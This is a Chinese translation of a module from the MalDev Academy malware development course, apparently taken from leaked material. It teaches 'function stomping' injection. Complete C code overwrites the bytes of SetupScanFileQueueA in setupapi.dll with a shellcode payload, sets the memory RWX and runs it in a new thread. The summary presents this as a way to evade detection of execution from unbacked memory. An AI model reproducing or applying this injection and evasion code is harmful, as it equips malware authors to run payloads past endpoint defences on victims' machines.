模块 44 - 本地函数覆盖 (Function Stomping) 注入
恶意软件开发课程 - 本地函数覆盖 (Function Stomping) 注入
模块 44 - 本地函数覆盖 (Function Stomping) 注入#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
本地函数覆盖注入#
简介#
之前演示的映射注入模块是为了避免使用 VirtualAlloc/Ex WinAPI 调用。本模块将演示另一种避免使用这些 WinAPI 的方法。
函数覆盖 (Function Stomping)#
术语“Stomping”(踩踏/覆盖)是指用不同的数据覆盖或替换程序中函数或其他数据结构的内存的行为。
函数覆盖 (Function Stomping) 是一种技术,其中原始函数的字节被替换为新的代码,导致该函数被替换或不再按预期工作。相反,该函数将执行不同的逻辑。为了实现这一点,需要一个牺牲函数(Sacrificial function)的地址来进行覆盖。
💡 初学者提示:什么是“覆盖” (Stomping)?
想象一下你有一本厚书,里面有很多章节。其中一章(比如“如何煮面”)你觉得没用,于是你拿出一张写满秘密代码(Payload)的纸,把它贴在“如何煮面”那一页上,完全遮住了原来的文字。
以后当你(或程序)翻到这一页并尝试阅读时,看到的将是你的“秘密代码”而不是原来的“煮面教程”。这就是 Stomping。
选择目标函数#
在本地检索函数的地址非常简单,但检索哪个函数是这项技术关注的核心问题。覆盖常用的函数可能会导致 Payload 的不受控执行或进程崩溃。因此,应该清楚的是,针对 ntdll.dll、kernel32.dll 和 kernelbase.dll 导出的函数是有风险的。相反,应该针对较少使用的函数,例如 MessageBox(虽然也不完全算少见,但由于它是阻塞性的且通常由用户触发,所以相对某些底层系统函数较安全),或者更冷门的 API,因为它们很少被操作系统或其他应用程序使用。
使用被覆盖的函数#
当目标函数的字节被替换为 Payload 的字节后,该函数就不再能被正常使用了,除非它专门用于执行 Payload。例如,如果目标函数是 MessageBoxA,那么二进制文件应该只调用 MessageBoxA 一次,即在执行 Payload 的时候。
本地函数覆盖代码#
在下面的代码演示中,目标函数是 SetupScanFileQueueA ↗。这是一个完全随机的函数,但如果它被覆盖,不太可能引起任何问题。根据微软的文档,该函数是由 Setupapi.dll 导出的。因此,第一步是使用 LoadLibraryA 将 Setupapi.dll 加载到本地进程内存中,然后使用 GetProcAddress 检索该函数的地址。
下一步是“覆盖”该函数并将其替换为 Payload。通过使用 VirtualProtect 将其内存区域标记为可读写(RW)来确保函数可以被改写。接着,将 Payload 写入该函数的地址,最后再次使用 VirtualProtect 将该区域标记为可执行(RX 或 RWX)。
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"
// ...
BOOL WritePayload(IN PVOID pAddress, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
DWORD dwOldProtection = NULL;
// 将函数所在内存改为可读写(RW)
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
printf("[!] VirtualProtect [RW] Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 覆盖原函数字节
memcpy(pAddress, pPayload, sPayloadSize);
// 将内存改为可执行读写(RWX)
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect [RWX] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
int main() {
PVOID pAddress = NULL;
HMODULE hModule = NULL;
HANDLE hThread = NULL;
printf("[#] Press <Enter> To Load \"%s\" ... ", SACRIFICIAL_DLL);
getchar();
printf("[i] Loading ... ");
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL){
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] DONE \n");
// 获取要牺牲的函数地址
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
printf("[i] Writing ... ");
// 踩踏 (Stomp) 函数
if (!WritePayload(pAddress, Payload, sizeof(Payload))) {
return -1;
}
printf("[+] DONE \n");
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
// 通过创建一个指向该地址的新线程来运行 Payload
hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}c将 DLL 包含进二进制文件#
除了使用 LoadLibrary 和 GetProcAddress 动态检索目标函数地址外,还可以将 DLL 静态链接到二进制文件中。使用 pragma comment 编译器指令可以实现这一点,如下所示:
#pragma comment (lib, "Setupapi.lib") // 将 "setupapi.dll" 添加到导入符号表 (IAT)c这样就可以简单地使用取地址符(例如 &SetupScanFileQueueA)来检索目标函数地址。下面的代码片段更新了之前的代码,改为使用 pragma comment 指令。
#pragma comment (lib, "Setupapi.lib") // 静态链接 DLL 到 IAT
// ...
int main() {
HANDLE hThread = NULL;
// 直接获取函数指针
printf("[+] Address Of \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
printf("[i] Writing ... ");
// 直接传递函数地址进行覆盖
if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) {
return -1;
}
printf("[+] DONE \n");
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
// 执行
hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}c演示#
检索 SetupScanFileQueueA 的地址:

SetupScanFileQueueA 函数的原始字节:

用 Msfvenom 的计算器 Payload 替换其字节:

运行 Payload:

🎯 总结#
在本模块中,我们学习了:
- 函数覆盖 (Function Stomping):利用现有 DLL 的内存空间而非分配新空间。
- 避免 VirtualAlloc:这种方法不调用
VirtualAlloc创建新空间,而是“回收利用”已有的合法内存。 - 选择牺牲品:学习了如何选择安全的、不影响进程稳健性的目标函数。
💡 关键要点
- 隐蔽性:Payload 位于合法的、已加载的 DLL 内存段中,这可以显著躲避针对“未支持内存执行(Memory Execution in non-backed memory)”的检测。
- 风险点:绝对不要覆盖内核或高频率调用的函数,否则你的程序会瞬间崩掉。
📚 下一步学习
下一个模块将介绍 Remote Function Stomping Injection。我们将把这种“占巢”技术应用到远程进程中!